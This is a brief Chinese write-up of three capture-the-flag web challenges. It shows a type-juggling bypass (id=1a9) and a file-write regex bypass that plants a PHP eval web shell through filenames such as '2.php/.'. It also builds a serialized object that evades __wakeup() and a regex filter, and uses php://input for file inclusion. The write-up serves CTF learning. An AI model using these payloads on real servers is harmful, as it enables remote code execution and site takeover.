- ics-7
首页给了view-source可以看源码,里面有一个过滤
if (isset($_GET['id']) && floatval($_GET['id']) !== '1' && substr($_GET['id'], -1) === '9')
这里判断字符串转为浮点型不等于1,但是1是整型和浮点数强类型比较一定不等于,所以我觉得这里可能是一个提醒,要查询id=1,构造id=1a9即可绕过这个判断
拿到admin权限后可以到达文件写入页面,但是存在正则过滤
尝试htaccess,截断,php.xxxx等多种方法均不能成功,最后看了wp里发现一种新方法
payload:
con=<?php @eval($_POST["cmd"]); ?>&file=2.php/.
这样正则匹配时最后一个.号后无匹配项,可以绕过正则过滤,同时./代表当前文件夹,也就是写入2.php中,而服务器解析文件是按后缀解析的,这也就可以成功解析2.php
同理也可以构造payload:
con=<?php @eval($_POST["cmd"]); ?>&file=2.php/1/..
- Web_php_unserialize
不难的一个题,绕过_wakeup()函数和一个正则
__wakeup()绕过只要令成员变量数量大于实际数量即可
正侧绕过,这里让O:4变成O:+4即可(这里没想到,看到一道类似题wp才会
构造payload:
$a= new Demo('fl4g.php');
$b=serialize($a);
$b=str_replace('O:4','O:+4',$b);
$b=str_replace('1:{','2:{',$b);
echo base64_encode($b);
输出结果复制再提交为var参数即可
这里有个坑就是file是私有变量,序列化之后会有空白字符,如果拿到在线网站base64编码很容易就丢了空白字符,所以这里直接在php里进行base64编码。
- Web_php_include
绕过正则,直接传Php://input即可,但是这个post的数据提交的时候进行了ur编码。。所以抓包改一下吧。。
网友评论